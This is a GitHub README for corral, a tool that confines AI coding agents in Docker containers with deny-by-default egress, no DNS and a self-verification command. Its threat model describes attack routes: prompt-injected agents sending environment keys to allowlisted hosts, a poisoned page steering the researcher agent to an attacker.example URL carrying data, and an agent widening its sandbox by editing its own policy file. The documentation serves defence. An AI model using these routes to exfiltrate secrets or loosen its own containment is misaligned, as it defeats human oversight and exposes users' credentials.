Skip to content
ZachRouanPublic

About

Policy-driven Docker sandboxes for AI coding agents: deny-by-default egress, no DNS, no sudo, and a verify command that proves it from inside

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

117 Commits

Folders and files

Repository files navigation

corral

ci

Run AI coding and personal agents inside a fence: per-harness Docker containment profiles driven by one declarative policy file. Linux only; macOS via a Linux VM is untested.

Agent harnesses ship with approval prompts, denylists, and a switch to turn both off. Their own security docs agree on the limit of those controls. Hermes Agent's SECURITY.md puts it plainly: "The only security boundary against an adversarial LLM is the operating system."

corral is that boundary, in the same shape for every harness: only the paths you list, deny-by-default egress with no DNS in the container, no sudo, no cross-sandbox reach, and secrets that arrive as environment rather than as mounted files (with one disclosed exception per profile). Every sandbox can prove it from the inside with one command; here is one doing it.

The demo

A real OpenCode sandbox running a local model through a relay. corral shell drops you into the same container the agent gets: the corral-firewall: lines are the entrypoint applying and self-checking the egress policy, then an interactive shell inside (prompt elided).

$ corral shell
corral-firewall: pinned openrouter.ai -> 104.18.2.115 104.18.3.115
corral-firewall: pinned api.openai.com -> 162.159.140.245 172.66.0.243
corral-firewall: pinned api.anthropic.com -> 160.79.104.10
corral-firewall: OK: unlisted host blocked
corral-firewall: OK: DNS closed
corral-firewall: OK: allowlisted host api.openai.com (162.159.140.245) reachable
corral-firewall: OK: allowlisted host api.anthropic.com (160.79.104.10) reachable
corral-firewall: OK: allowlisted host openrouter.ai (104.18.2.115) reachable
corral-firewall: OK: host service 8081 reachable
corral-firewall: egress policy applied
$ id
uid=1000(agent) gid=1000(agent) groups=1000(agent)
$ ls -A /home/zach
Projects
$ ls ~/.ssh
ls: cannot access '/home/agent/.ssh': No such file or directory
$ curl -m 4 https://example.com
curl: (6) Could not resolve host: example.com
$ getent hosts openrouter.ai
104.18.2.115    openrouter.ai
104.18.3.115    openrouter.ai
$ getent hosts one.one.one.one; echo exit=$?
exit=2
$ env | grep -ciE "key|token|secret"
0

uid 1000 is the host user's, so files the agent writes stay yours. Of the home directory only the mounted path component is visible. example.com is not allowlisted and there is no resolver to ask, so the request dies before a packet leaves.

corral verify asserts the whole policy from inside the container and exits non-zero if anything is off:

$ corral verify
ok   non-root
ok   uid-matches-host
ok   no-sudo
ok   no-capabilities
ok   iptables-refused
ok   no-docker-socket:/var/run/docker.sock
ok   no-docker-socket:/run/docker.sock
ok   no-credential-dir:.ssh
ok   no-credential-dir:.aws
ok   no-credential-dir:.gnupg
ok   no-credential-dir:.kube
ok   no-credential-dir:.docker
ok   no-credential-dir:.netrc
ok   host-home-only-mounts
ok   env-file-not-mounted
ok   root-owned:/usr/local/sbin/corral-entrypoint
ok   root-owned:/usr/local/sbin/corral-firewall
ok   root-owned:/usr/local/bin/corral-verify
ok   root-owned:/etc/corral/allowlist
ok   root-owned:/etc/corral/host-ports
ok   root-owned:/etc/corral/internal-gateway
ok   root-owned:/etc/corral/uid
ok   root-owned:/etc/corral/gid
ok   root-owned:/etc/corral/mounts-rw
ok   root-owned:/etc/corral/mounts-ro
ok   root-owned:/etc/corral/mount-names
ok   root-owned:/etc/corral/state-paths
ok   root-owned:/etc/resolv.conf
ok   root-owned:/etc/hosts
ok   rw-writable:/home/zach/Projects/corral-demo
ok   unlisted-host-blocked
ok   dns-closed
ok   ipv6-disabled
ok   no-ipv6-address
ok   host-service:8081
35 passed, 0 skipped, 0 failed

That is the opencode profile's set. Each profile adds checks for the guarantees it makes: a hermes sandbox also asserts its managed config is root-owned, the agent's .env files are shadowed read-only, its state directory is owned by your uid, and no port is published. Every service in the topology brings its own checks, so the count follows the shape of the sandbox: a real corral verify run reports 41 checks for main alone, 103 with the researcher and its two sidecars, and 169 with background: [cron] adding the scheduler and its PID-namespace holder. Those three numbers are read off a corral verify run of each of those configurations, never counted by hand (the peer-unreachable checks count whatever else is attached to the corral network at measurement time, so re-measure with exactly one sandbox up).

When the policy is violated

A policy that mounts your home directory never renders:

$ corral render
corral: policy error: refusing to mount your home directory (/home/zach)

And the container refuses to hand over to the agent if its own isolation checks fail. The integration test's tamper: apply the real firewall, add the script's own unlisted-host probe address to the live allowlist ipset, then re-enter. The re-apply guard finds an unlisted host reachable and exits non-zero, taking the container with it:

corral-firewall: egress policy applied
corral-firewall: rules already present in this network namespace; re-checking
corral-firewall: ERROR: unlisted host reachable — isolation broken
corral-firewall: ERROR: re-check failed against existing rules

Quickstart

Requires Linux, Docker with Compose v2, socat, and Python 3.11+.

git clone https://github.com/ZachRouan/corral && cd corral
pipx install .          # PyPI package to follow
corral install          # checks the host, creates the 'corral' bridge network
cd ~/Projects/myproject
corral init --profile opencode
$EDITOR corral.yaml
corral build
corral verify
corral run

corral install is once per machine; the rest is per project. build, run, and verify re-render from the policy each time, so editing corral.yaml and re-running is the whole workflow. Also: shell, status, down, render, refresh, up, enable, disable, attach, logs.

The policy file

corral.yaml is the only file you edit; the Dockerfile, compose file, and firewall allowlist are generated from it and are disposable. They are written to ~/.local/share/corral/<sandbox-id>/build, deliberately outside the project directory and outside every path a policy is allowed to mount. corral refuses to mount its own state directory, so this is a guard rather than a convention: the agent must not be able to edit the inputs its own next image is built from.

profile: opencode          # opencode, hermes (claude is planned)
name: myproject            # sandbox name; defaults to the project directory name
mode: run                  # run (interactive/one-shot) | daemon (always-on); daemon
                           # mode and its lifecycle commands are the hermes profile

mounts:
  rw:
    - ~/Projects/shared    # host path -> the identical path inside, so paths and logs match
  ro:
    - ~/Documents/notes    # read-only, enforced by the kernel and checked by verify
  # in run mode the project directory is mounted rw automatically; don't list it here

egress:
  allow:
    - openrouter.ai        # domains only; resolved and pinned once at bring-up
  # the profile's own model-provider defaults are added to the allowlist for you

host_services:
  - name: llama
    port: 8081             # a loopback service on the host, reachable inside as corral-host:8081

secrets:
  env_file: ~/.config/corral/myproject.env   # injected as environment; never mounted as a file

Validation rejects, before anything is rendered: mounting $HOME or /, any path under a known credential directory (~/.ssh, ~/.aws, ~/.gnupg, ~/.claude, browser profiles, and the rest), overlapping rw/ro entries, and egress entries that are IPs, CIDRs, URLs, or anything but a bare domain name.

Threat model

Protects against:

  • an agent (buggy, prompt-injected, or simply wrong) deleting or rewriting files outside its workspace;
  • exfiltration of mounted data or injected credentials to arbitrary hosts, from main itself: its own egress is closed to everything except the model endpoint, the researcher's MCP bridge (when enabled), and whatever domains the policy allowlists;
  • reading host credential stores (~/.ssh, ~/.aws, ~/.gnupg, browser profiles, other agents' auth tokens);
  • installing packages, editing /etc, or otherwise changing the host;
  • an always-on agent being reachable from the LAN.

Does not protect against:

  • misuse of a capability you deliberately granted (a read-write mount is read-write; an allowlisted host is reachable, including via POST, and on every TCP port rather than just the one you had in mind);
  • kernel-level container escapes (shared kernel; use a VM if that is your bar);
  • exfiltration through an allowlisted API, the model provider's own endpoint above all: the data goes to your account, but it leaves the machine;
  • secrets supplied as environment variables: every process in the container can read them, so a prompt-injected agent can env and send your key to any allowlisted host. The v2 credential-injecting proxy is planned to close this (issue #1);
  • the opencode profile's seeded auth.json. It is copied into the sandbox's own state directory, which is mounted read-write, and openrouter.ai is allowlisted, so a prompt-injected agent can spend that provider key or send it somewhere. Rotate the key if a session goes wrong; the v2 credential proxy is the real fix here too;
  • content-level attacks: a poisoned web page leading the model to a wrong conclusion. For the hermes profile specifically, a poisoned page can lead main to write a false fact into its persistent memory; corral contains reach, not content, and the research tool's answers are untrusted input the same way any other web content is;
  • the hermes profile's researcher tier as an outbound channel. With profile_options.hermes.researcher: true (fetch: true by default), the researcher's only tool is web: its extract backend fetches whatever public URL it is given, and its search backend forwards whatever query string it is given — both correctly, by design. The researcher is itself prompt-injectable by the pages it reads, so a poisoned page can direct it to extract https://attacker.example/?q=<whatever main put in the question>, and the fetch sidecar performs exactly that request; it filters destinations, not payloads. The channel's bandwidth is bounded by the question main composed plus whatever the researcher has already read, and the memory-poisoning loop above can widen it turn over turn. The fix is not architectural: don't hand main a secret you would not be willing to see show up in a search query;
  • an agent editing corral.yaml itself: the policy lives in the project directory the agent gets read-write, and every corral invocation rebuilds the sandbox from it, so a widened policy takes effect the next time you run corral (which prints a notice when the policy changed). Review the policy before re-running after an untrusted session.

How it works

Network. corral install creates one external bridge network with a fixed subnet and inter-container communication disabled, so containers on it reach the gateway but not each other. That is enforced by the Docker daemon's host-side rules, which nothing inside a sandbox can alter. IPv6 is disabled on the network and in the container, and ip6tables sets OUTPUT DROP so a v6 route appearing later cannot route around the v4 rules. Inside, iptables and ipset set INPUT DROP/OUTPUT DROP and allow only established traffic, loopback, the gateway on declared host-service ports, and the resolved addresses of allowlisted domains. There is no runtime DNS: names are resolved once at bring-up, before the drop rules land, into both the ipset and /etc/hosts, and port 53 is then closed. That removes DNS tunnelling through the container's own resolver, but not DNS as a channel outright: an allowlisted host is reachable on every TCP port, not just 443, so DNS-over-HTTPS to an allowlisted host still resolves whatever it is asked to. Don't allowlist a public DoH endpoint. UDP is never opened, including QUIC/HTTP3 — browsers and HTTP clients fall back to TCP; anything UDP-only just doesn't work from inside. The other cost is that a domain behind a rotating CDN can drift off the pinned set mid-session. In run mode that heals on its own: every corral run is a fresh container that resolves the allowlist again at start. corral refresh restarts every agent container that is already up so it re-resolves, which is what a long-lived sandbox needs — the hermes profile's daemon mode, specifically, since a corral up stack is never torn down and rebuilt the way run mode's containers are.

Host services. A local inference server should not land on the LAN just because a sandbox wants it, so it stays bound to 127.0.0.1 and corral runs a socat relay on the host (one systemd user unit per declared service) bound to the corral network's gateway address only, forwarding to loopback. The sandbox reaches it as corral-host:<port>, the firewall allows exactly that one gateway port, and nothing is exposed beyond the bridge. Both listeners are visible on the host: the service on 127.0.0.1:8081, the relay on 172.30.0.1:8081.

Entrypoint. The firewall script and this sandbox's allowlist are baked into the image at build time, root-owned and read-only. The container starts as root, applies the firewall, self-checks it (an unlisted host must be unreachable, DNS must not answer, each allowlisted domain and host service must be reachable), and only then drops to your uid via setpriv and execs the harness. A failed check exits non-zero and the agent never runs. That reachability check is strict: an allowlisted domain has to answer on 443 or 80, so allowlisting a host that serves neither stops the sandbox from starting. A per-domain opt-out from this liveness gate is tracked as issue #13 (#13) and not yet built. No sudo is installed, and the agent's user cannot write any of the firewall's inputs: changing the allowlist is a rebuild, not an edit.

The fence is around the agent, not around you: from the host you can start a container that skips the entrypoint entirely (docker compose run --entrypoint bash …) and get an unfirewalled shell. That is deliberate, since you wrote the policy and corral's own integration tests use it to stand up an unfirewalled listener, but it means the boundary holds against the agent inside, not against the user who owns the sandbox.

Verify. corral verify runs a checker inside the container and asserts the policy end to end: non-root, uid matches the host, no sudo, no capabilities left after the privilege drop, iptables unreadable to the agent user, no Docker socket, no credential directories, nothing visible under your home directory except the paths you mounted, the secrets file not present as a file, every baked input root-owned, ro mounts unwritable and rw mounts writable, IPv6 down, DNS closed, unlisted hosts blocked, host services reachable, and, when a second sandbox is up, its containers unreachable. That last check samples four ports (8080, 8081, 8765, 443). It is a smoke test rather than an exhaustive scan; the actual enforcement is the corral network's daemon-level ICC being off, proven by the integration test against a listener that has no firewall of its own.

Full design, including the parts not yet built: docs/design.md.

Exit codes

  • 0 -- succeeded.
  • 1 -- the operation failed (a docker error, an unreadable file) or corral refused to render into a build directory that has been tampered with.
  • 2 -- the policy file or the render request is invalid.

corral verify follows the same contract and exits 1 on any failed check.

Profiles

  • opencode — shipped. Pinned opencode-ai, the project rw at its real path, the host's ~/.config/opencode ro, per-sandbox state, model providers in egress. On the first build the host's ~/.local/share/opencode/auth.json is copied once into that per-sandbox state, so provider logins carry over instead of needing a fresh browser flow. That state is mounted read-write, so the agent can read the key it holds; see the threat model above.

  • claude — planned (issue #3). Pinned Claude Code, OAuth token from the env file, onboarding and folder trust seeded into the sandbox state, detached-session commands.

  • hermes — shipped and proven end to end: main alone, and main with the researcher agent, its SearXNG search sidecar, and a page-fetch sidecar all three, through a real local model, a real search, and a real page fetch. Runs in daemon mode: corral up builds and starts an always-on agent with persistent memory under the per-sandbox state directory, corral attach opens its console (detach with ctrl-p ctrl-q, the sandbox keeps running), corral logs follows its output, and corral enable installs a systemd --user unit so it survives a reboot. profile_options.hermes.researcher: true adds the researcher and search sidecar; fetch: true (the default once researcher is on) adds the page-fetch sidecar the researcher uses for extraction. background: [cron] adds the scheduler service: main's twin running Hermes' own gateway, so scheduled jobs fire while nobody is attached. It is also what re-enables the cronjob tool for main, which is otherwise off, so the tool that creates jobs and the process that fires them arrive together. Flipping background: [cron] on for a sandbox that is already up is not free at the next corral up: it adds two new containers (scheduler and the pidns holder) and recreates main itself, since main now gains a pid: dependency on the holder it didn't have before, and recreating main ends any session currently attached to it.

    What main can reach: the model host service (corral-host:<port>, typically a local llama.cpp server), the researcher's MCP bridge at researcher:8765 when the researcher is on, and whatever plain domains the policy's own egress.allow lists (none by default). What it cannot reach: the search or fetch sidecars directly, or any other sandbox's containers — main's own native web toolsets are disabled in config, and the firewall closes the route regardless of what config says. The search and fetch sidecars hold nothing and can reach nothing on the sandbox's own network — no policy mounts, no persisted state, and corral verify proves neither can reach main or the researcher. Their only network access runs outward: search to the open web to answer a query, fetch to whatever URL the researcher hands it, filtered by fetch's own destination check before every hop (docs/design.md §6.3 has the mechanism). Each research call runs Hermes fresh, as its own subprocess killed at the end of the call, so nothing a poisoned page influenced persists in the researcher between calls.

    Extraction fans a single research call's URLs out to the fetch sidecar in waves of up to 6 at a time (matching the sidecar's own concurrency limit), retrying a URL up to 3 more times if the sidecar's non-queuing admission control turns it away busy, so a request past capacity gets extracted on a later wave rather than dropped. Under a shared, single-slot model server a research call can also fail two ways that are both model/decoding limitations, not a bug in the bridge's own strict parser: the researcher's own reply can come back as malformed_answer (no parseable JSON in what it produced), or main's own hermes -z call can itself return empty (zero bytes), independent of whether the research call it made succeeded.

    The config that actually governs the agent — model endpoint, toolsets, approvals — is baked root-owned into the image and delivered through Hermes' managed-scope overlay (HERMES_MANAGED_DIR), not the agent's own $HERMES_HOME/config.yaml; see docs/design.md §6.3 for exactly what that closes and what it doesn't. A hermes policy requires profile_options.hermes.model (corral init --profile hermes writes a starter with the local llama.cpp endpoint already filled in). Before corral enable, corral itself has to be on PATH — the unit's ExecStart is an absolute path resolved at enable time, but that resolution needs to find something (uv tool install . from the repo root does it); the unit also only starts at boot if user lingering is on (loginctl enable-linger $USER — corral enable warns if it isn't), and the exponential restart backoff on a crash-looping unit needs systemd >= 254.

  • Approvals. profile_options.hermes.approvals sets Hermes's own interactive approval mode for main (approvals.mode): manual (the default) asks before every command Hermes considers risky, smart asks a model to judge the command instead, and off skips asking altogether. The value must be a quoted string, since bare YAML off (and on/yes/no/true/false) parses as a boolean, not the string -- write approvals: "off". None of the three values touch the baked deny globs (approvals.deny, extended by approvals_deny), which are checked before mode is ever consulted and so keep refusing the same commands under every setting, nor cron_mode or single_query_mode, which stay deny regardless (scheduled jobs and -z/-q single-query calls never read mode at all). smart has a real cost on a single-slot host: it is one extra completion per risky command, on the same model server main already queues behind, judged by the same local model whose judgment you would otherwise be trusting less than a human's. off and manual are the honest choices there; smart is worth it once you have a second model server to judge with.

  • Host-service contention. A model server with a single inference slot serves one request at a time — for llama.cpp, that means launched with --parallel 1: an always-on main and an interactive coding sandbox sharing that same host service queue behind each other rather than running in parallel, and a background main call can make an unrelated foreground session wait. background: [cron] is the sharpest form of this: a scheduled job that fires while you are mid-session stalls that session for as long as the job runs, so schedule jobs for when you are away. Two of the hermes profile's defaults exist specifically to keep that queue short: title generation is off (skips a whole extra completion per turn) and main's baked toolset is the small pinned set, not the full interactive bundle, so it has less reason to make multi-step tool-calling round trips that would each take a queue turn. Neither eliminates the contention; the only way to actually parallelise the two is a second, independent model-server instance with its own share of VRAM. Issue #5 is the tracking issue for this; it is documentation and defaults, not code, and is resolved as of this profile shipping.

How corral compares

  • Harness-native sandboxes (Claude Code's sandboxed bash, Anthropic's sandbox-runtime). Per-harness, and enforced by tooling the harness itself invokes. Good defaults, but each harness gets its own shape, and the boundary is maintained by the thing being contained. corral puts one OS-level boundary around the harness, identical for every profile, and verifiable from inside without trusting the harness.
  • firejail / bubblewrap. The same instinct — kernel-enforced containment — but you assemble the policy from primitives per tool, and there is no domain allowlist with pinned resolution, no cross-sandbox story, and nothing like corral verify. corral trades their generality for one declarative file and a proof command.
  • devcontainers. A reproducible environment, not a security boundary: default egress is open, the Docker socket is often mounted, and nothing asserts isolation. A devcontainer answers "can my tools run?"; corral answers "what can this agent reach?"
  • A VM. Stronger boundary (its own kernel), heavier workflow. corral's threat model says so explicitly: if kernel escapes are your bar, use a VM. corral is for the layer below that bar — file scope, egress, credentials, cross-agent reach — at container cost.

Roadmap

  • Egress v2: a filtering proxy with credential injection, so the container never holds a real API key, and domain-name filtering removes the CDN-rotation caveat (issue #1).
  • Egress v2: enforce the rules from the host via the DOCKER-USER chain, removing NET_ADMIN from the container entirely (issue #2).
  • The claude profile (issue #3).
  • Constrained decoding for the researcher's answer (llama-server's json_schema/grammar support), to cut down on malformed_answer under a shared model slot (issue #14).
  • A pre-launch hook for user-supplied snapshot/backup commands (issue #6).

License

MIT. See LICENSE. The firewall is a clean-room implementation; no code from non-open-source reference sandboxes is used.

About

Policy-driven Docker sandboxes for AI coding agents: deny-by-default egress, no DNS, no sudo, and a verify command that proves it from inside

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages